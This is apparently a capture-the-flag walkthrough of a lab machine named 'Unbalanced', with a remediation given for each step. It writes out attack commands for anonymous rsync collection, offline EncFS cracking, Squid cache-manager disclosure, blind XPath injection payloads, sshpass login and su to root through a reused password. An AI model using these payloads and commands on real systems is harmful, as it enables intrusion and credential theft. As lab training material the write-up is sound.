← all walkthroughs

Unbalanced

Linux· Hard
owned
2026-07-11
time to own
30m18s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

I scanned Conquest Unbalanced ($TARGET) and discovered three services: SSH, an rsync daemon, and a Squid HTTP proxy. The rsync daemon accepted anonymous connections and exposed an EncFS-encrypted Squid configuration backup; cracking the encryption passphrase with a common wordlist revealed the Squid management password and evidence of a private intranet application reachable only through the proxy.

Querying Squid's built-in management interface with the recovered password exposed the private IP addresses of hidden backend servers, and blind XPath injection in their PHP login form allowed user 'bryan's password to be extracted character by character. An SSH session as bryan surfaced a locally-bound Pi-hole Docker administration console; a world-readable provisioning script on the host stored the Pi-hole admin password in plaintext, and that same password had been reused identically as the host operating-system root account password — a single su command completed the takeover.

Command conventions

The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].

export TARGET="<retired-instance-ip>"
export INTERNAL_HOST="<another-host-reached-after-pivoting>"
export INTERNAL_HOST2="<another-host-reached-after-pivoting>"
export PASSWORD="<a-password-you-choose>"
export PASSWORD2="<a-password-you-choose>"
export PASSWORD4="<a-password-you-choose>"
export PASSWORD5="<a-password-you-choose>"

Attack path — how the box was taken

1EnumerationNetwork service enumeration (T1046)
Mapped exposed services via port scan
A service-version scan of $TARGET identified three listening ports: OpenSSH 7.9p1 on 22, an rsync daemon on 873, and Squid HTTP proxy 4.6 on 3128. The combination of an unauthenticated file-sync service and an open proxy on an internet-facing host signalled unusually broad attack surface.
Exact commands 2
Service-version scan of the three open ports.
nmap -Pn -sV -p22,873,3128 $TARGET
List rsync modules advertised by the daemon.
nmap -Pn -p873 --script rsync-list-modules $TARGET
2Credential AccessAnonymous remote file collection via rsync (T1039)
Downloaded an encrypted configuration backup via anonymous rsync
The rsync daemon required no credentials and advertised a module named 'conf_backups'. Syncing it locally retrieved a directory containing an EncFS-encrypted volume (identified by the .encfs6.xml key-metadata file) — a complete backup of the Squid proxy configuration tree.
Rsync://$TARGET/ listed conf_backups; rsync -av pull succeeded without authentication.
Exact commands 2
List all rsync modules available without credentials.
rsync rsync://$TARGET/
Download the full conf_backups module to a local directory.
rsync -av rsync://$TARGET/conf_backups/ ./conf_backups/
FixRequire authentication for all rsync modulesHigh
WeaknessThe rsync daemon accepted connections without any credentials and publicly advertised the 'conf_backups' module, allowing any internet host to download a copy of the server's Squid configuration backup with a single command.
FixIn /etc/rsyncd.conf, set 'auth users = <authorised_account>' and 'secrets file = /etc/rsyncd.secrets' for every module, and restrict access to specific trusted management IP ranges with 'hosts allow'. If remote rsync access is not operationally required, stop and disable the rsyncd service (systemctl disable --now rsync). Confirm no sensitive files remain reachable in any module's path.
3Credential AccessOffline password cracking (T1110.002); credentials in backup files (T1552.001)
Cracked the EncFS passphrase and recovered Squid credentials from the backup
The EncFS volume's key-derivation parameters were extracted and cracked offline with John the Ripper against the RockYou wordlist, yielding the passphrase '[REDACTED: recovered credential]' in seconds. Mounting the decrypted volume revealed squid.conf, which contained the Squid cache-manager password '[REDACTED: recovered credential]' and configuration referencing an internal virtual host 'intranet.unbalanced.htb' not reachable from the public internet.
John cracked encfs.hash to '[REDACTED: recovered credential]'; decrypted squid.conf contained cachemgr_passwd [REDACTED: recovered credential] and intranet.unbalanced.htb references.
Exact commands 4
Extract the EncFS key-derivation parameters as a John-compatible hash.
python3 /usr/share/john/encfs2john.py ./conf_backups > encfs.hash
Crack the passphrase offline; yields '[REDACTED: recovered credential]'.
john --wordlist=/usr/share/wordlists/rockyou.txt encfs.hash
Mount the decrypted volume at ./clear using the cracked passphrase.
printf '$PASSWORD4\n' | encfs --stdinpass $(pwd)/conf_backups $(pwd)/clear
Extract the management password and internal host references from the recovered config.
grep -E 'cachemgr_passwd|intranet|http_access' ./clear/squid.conf
FixEliminate plaintext credentials from backup archives and use strong encryption passphrasesHigh
WeaknessThe EncFS backup was encrypted with a common dictionary word ('[REDACTED: recovered credential]') that was cracked in seconds, and the decrypted archive contained service passwords in plaintext inside squid.conf — directly handing an unauthorised user Squid management access.
FixNever store plaintext credentials in backup files. Inject service passwords at runtime via a secrets manager (HashiCorp Vault, AWS Secrets Manager, or equivalent) and store only credential references in config templates. If backups must include config files, protect them with a randomly-generated passphrase of 20+ characters with no dictionary component, stored separately in the secrets manager — not with the backup. Immediately rotate all passwords that were present in the compromised archive.
4DiscoveryProxy-assisted internal network discovery; Squid cachemgr information disclosure (T1090)
Pivoted through Squid and enumerated hidden backend servers via the management interface
The Squid proxy on port 3128 brokered access to the internal intranet application. Querying Squid's built-in cache-manager endpoint with the recovered password returned the proxy's full DNS cache, listing three backend hostnames — intranet-host1, intranet-host2, intranet-host3 — and their $INTERNAL_HOST2/24 addresses. Hosts 1 and 3 had been removed from the active load-balancer pool but remained reachable; direct proxied requests to those IPs returned a PHP login form at /intranet.php.
Fqdncache response listed $INTERNAL_HOST-3; proxied GET to $INTERNAL_HOST/intranet.php returned a PHP login form.
Exact commands 3
Query Squid's DNS cache via the management API; reveals internal backend IPs in the $INTERNAL_HOST2/24 range.
curl -u ':$PASSWORD5' http://$TARGET:3128/squid-internal-mgr/fqdncache
Confirm intranet access through the Squid proxy; Squid resolves the hostname internally.
curl -x http://$TARGET:3128 http://intranet.unbalanced.htb/
Reach host1 directly (bypassing the load balancer) through the Squid proxy; returns the vulnerable login form.
curl -x http://$TARGET:3128 http://$INTERNAL_HOST/intranet.php
FixRestrict Squid's cache-manager interface to localhost onlyMedium
WeaknessSquid's built-in cachemgr endpoint was reachable from outside with a recoverable password and returned the proxy's full DNS cache, revealing the private IP addresses and internal hostnames of backend servers that were not intended to be discoverable.
FixIn squid.conf, define a localhost-only ACL and deny cachemgr access from everywhere else: add 'acl localnet src 127.0.0.1/32' and 'http_access deny cachemgr !localnet' before any permit rules. If the management interface is not operationally required, disable it entirely with 'cachemgr_passwd DISABLE all'. Rotate the cachemgr password immediately since the previous value was stored in the compromised backup.
5ExploitationBlind XPath Injection (CWE-643 / T1190)
Extracted bryan's password character by character via blind XPath injection
The /intranet.php login form passed the Username and Password parameters directly into an XPath expression without sanitisation. A crafted Username using a tautology ('bryan' and 1=1 or 'a'='a) returned the authenticated dashboard while a contradiction returned a login error — establishing a true/false oracle. A Python script iterated over each character position using XPath's substring() function, proxied through Squid against $INTERNAL_HOST, to brute-force bryan's 23-character password '[REDACTED: recovered credential]'.
True-branch payload yielded large dashboard response; false-branch yielded short login-error response; substring() oracle recovered full 23-char password for bryan.
Exact commands 3
True-branch oracle: a large byte count confirms the XPath tautology authenticated as bryan.
curl -x http://$TARGET:3128 -s -o /dev/null -w '%{size_download}' -d "Username=bryan' and 1=1 or 'a'='a&Password=x" http://$INTERNAL_HOST/intranet.php
False-branch oracle: a small byte count confirms the contradiction returned a login error.
curl -x http://$TARGET:3128 -s -o /dev/null -w '%{size_download}' -d "Username=bryan' and 1=2 or 'a'='b&Password=x" http://$INTERNAL_HOST/intranet.php
Scripted substring() oracle: for each position 1-30 and each character in the charset, POST Username="bryan' and substring(Password,POS,1)='CHAR' or 'a'='b" through proxy http://$TARGET:3128 to http://$INTERNAL_HOST/intranet.php; treat response length >500 bytes as the true branch; accumulate and print the recovered password — yields '[REDACTED: recovered credential]'.
python3 xpath_brute.py
FixUse parameterised queries in the intranet login form to prevent XPath injectionCritical
WeaknessThe /intranet.php login form built its XPath expression by directly concatenating user-supplied Username and Password values into a query string, letting an unauthorised user alter the query's logic to bypass authentication and extract stored passwords one character at a time.
FixNever build XPath queries through string concatenation. Use a typed, parameterised XPath API so that user input is treated strictly as data, not executable query syntax. Additionally, validate the username field against a strict allowlist (alphanumeric, defined length), return only a generic 'Invalid credentials' message on any authentication failure to remove the true/false oracle, and apply rate-limiting and account lockout to prevent scripted brute-force enumeration.
6FootholdSSH access with compromised credentials (T1078)
Logged in as bryan via SSH and read the user flag
The recovered password gave an interactive SSH session as user bryan on $TARGET. The user flag was read from /home/bryan/user.txt. A plaintext note in bryan's home directory (~/TODO) disclosed that a Pi-hole DNS ad-blocker was running in a Docker container on the machine, with its web administration console bound exclusively to 127.0.0.1:8080.
Sshpass SSH returned uid=1000(bryan); user.txt confirmed; ~/TODO identified Pi-hole admin console at 127.0.0.1:8080.
Exact commands 2
Open SSH session as bryan and read the user flag (<user.txt>).
sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null bryan@$TARGET 'id; hostname; cat /home/bryan/user.txt'
Read bryan's note file; reveals the Pi-hole admin console bound to 127.0.0.1:8080.
sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null bryan@$TARGET 'cat ~/TODO'
7Credential AccessUnsecured credentials in world-readable file (T1552.001)
Read a world-readable Pi-hole configuration script exposing the root password in plaintext
An SSH local port-forward exposed the Pi-hole admin console for browser access and confirmed the running instance. The Pi-hole provisioning script /root/pihole_config.sh was stored with world-readable permissions, making its contents accessible to any local user — including the low-privilege account bryan. The script contained the Pi-hole administrator password '[REDACTED: recovered credential]' in plaintext.
Pihole_config.sh was readable by all users; file contained plaintext password [REDACTED: recovered credential]
Exact commands 3
Tunnel the Pi-hole admin console to my port 18081.
ssh -f -N -L 18081:127.0.0.1:8080 -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null bryan@$TARGET
From bryan's SSH session: locate world-readable Pi-hole provisioning scripts on the host.
find / -name 'pihole_config.sh' -perm -o+r 2>/dev/null
Read the plaintext script; reveals the admin password in a WEBPASSWORD or similar variable.
cat /root/pihole_config.sh
FixRestrict file permissions on scripts and config files that contain service credentialsHigh
WeaknessThe Pi-hole provisioning script /root/pihole_config.sh was world-readable, so any local account — including the low-privilege user bryan — could read the Pi-hole admin password stored in it in clear text.
FixApply restrictive permissions to every file that contains secrets: 'chmod 600 /root/pihole_config.sh; chown root:root /root/pihole_config.sh'. Audit the host with 'find / \( -name "*.sh" -o -name "*.conf" \) -perm -o+r 2>/dev/null' to identify similar exposures across the system. Remove hardcoded passwords from provisioning scripts and instead inject credentials at container start-up via environment variables sourced from a secrets manager.
8Privilege EscalationCredential reuse across web service and OS root account (T1078.003)
Escalated to root via password reuse and read the root flag
The Pi-hole admin password discovered in pihole_config.sh had been set identically as the host operating-system root account password. Running 'su - root' from bryan's shell with that credential elevated to uid 0, giving unrestricted control of the host. The root flag was confirmed at /root/root.txt.
Printf '[REDACTED: recovered credential]' | su - root returned uid=0(root); root.txt read from /root/root.txt.
Exact commands 1
Pipe the discovered Pi-hole admin password to su - root from a fresh SSH session; reads the root flag (<root.txt>).
sshpass -p "$PASSWORD" ssh -tt -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null bryan@$TARGET "printf '%s\n' '$PASSWORD2' | su - root -c 'id; hostname; cat /root/root.txt'"
FixUse a unique password for each service and OS account — never reuse credentialsCritical
WeaknessThe Pi-hole web administration password was set identically on the host OS root account. Once the Pi-hole credential was read from a world-readable file, it immediately granted root-level control of the host without any further exploitation step.
FixEnforce unique, randomly-generated passwords for every service account, web application admin credential, and OS user — including root. Generate and store them in a centralised password or secrets manager. Rotate the host root password and all service account passwords on this system immediately, and audit all other systems in the environment for the same reuse pattern.

Attack patterns used

The transferable techniques behind this compromise.

Password / Credential ReuseCredential Access · Lateral MovementT1078

What it is

A password recovered from one place — a config file, a database, a cracked hash, a service account — is tried against other accounts and services (SSH, SMB, WinRM, sudo, the database, the next host). Reuse turns a single leaked secret into broad access.

Why it works

Humans and deployments reuse passwords across accounts and tiers, and lateral movement thrives on it. Remediate with unique credentials per account/service, a password manager/vault, and MFA on remote-access services.

Read more

Exposed services

22/tcp
873/tcp
3128/tcp